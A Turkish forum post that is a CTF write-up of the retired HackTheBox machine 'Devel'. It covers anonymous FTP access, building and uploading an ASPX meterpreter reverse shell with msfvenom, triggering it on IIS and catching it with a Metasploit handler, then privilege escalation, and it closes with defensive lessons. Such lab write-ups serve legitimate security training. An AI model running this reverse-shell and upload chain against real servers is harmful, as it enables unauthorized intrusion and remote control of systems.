CTF Çözümleri

[Write-up] HTB Devel — Anonymous FTP + IIS Upload

ugrkrbck 🔴 · 2026-09-12 21:20:27
Zorluk: Kolay · Platform: HackTheBox (Retired) · Konu: FTP Anonymous + IIS/ASP Upload Devel, yanlış yapılandırılmış bir FTP servisinin, tam bir sistem ele geçirmeye nasıl kapı araladığını gösteren bir HTB makinesidir. ■ 1. Keşif nmap -sC -sV -p- <hedef-ip> İki servis öne çıkar: - 21/tcp — FTP (Microsoft ftpd) - 80/tcp — IIS 7.5 ■ 2. Anonim FTP Erişimi ftp <hedef-ip> # Kullanıcı adı: anonymous, şifre: boş bırakılabilir Giriş başarılı olursa, bu FTP kök dizininin genellikle web sunucusunun kök dizini (C:\inetpub\wwwroot) ile aynı olduğu görülür — yani FTP'ye yazılan bir dosya, doğrudan web sunucusu üzerinden çalıştırılabilir hale gelir. ■ 3. Kötü Amaçlı Dosya Yükleme Metasploit ile bir ASPX reverse shell payload'ı oluşturulur: msfvenom -p windows/meterpreter/reverse_tcp LHOST=<kendi-ip> LPORT=4444 -f aspx -o shell.aspx Bu dosya FTP üzerinden yüklenir: ftp> put shell.aspx ■ 4. Tetikleme Yüklenen dosya, tarayıcı üzerinden ziyaret edilerek (http://<hedef-ip>/shell.aspx) çalıştırılır ve önceden başlatılmış bir Metasploit listener üzerinden bağlantı alınır: use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST <kendi-ip> set LPORT 4444 run ■ 5. Yetki Yükseltme Elde edilen oturum genellikle düşük yetkilidir. local_exploit_suggester gibi Metasploit modülleri veya güncel olmayan Windows sürümüne özel bilinen kernel exploit'leri (örn. MS11-046) kullanılarak SYSTEM yetkisine çıkılabilir. ■ 6. Öğrenilen Dersler - Anonim FTP erişimi, özellikle web sunucusuyla aynı dizini paylaşıyorsa, kritik bir risktir. - Dosya yükleme noktalarının web kök dizininden tamamen izole edilmesi gerekir. - Yüklenen dosya türleri (uzantı bazlı filtreleme değil, gerçek içerik doğrulama ile) sıkı şekilde kısıtlanmalıdır.

0 ana yorum

Yorum yapmak için giriş yap.

KVKK Aydınlatma Metni · Çerez Politikası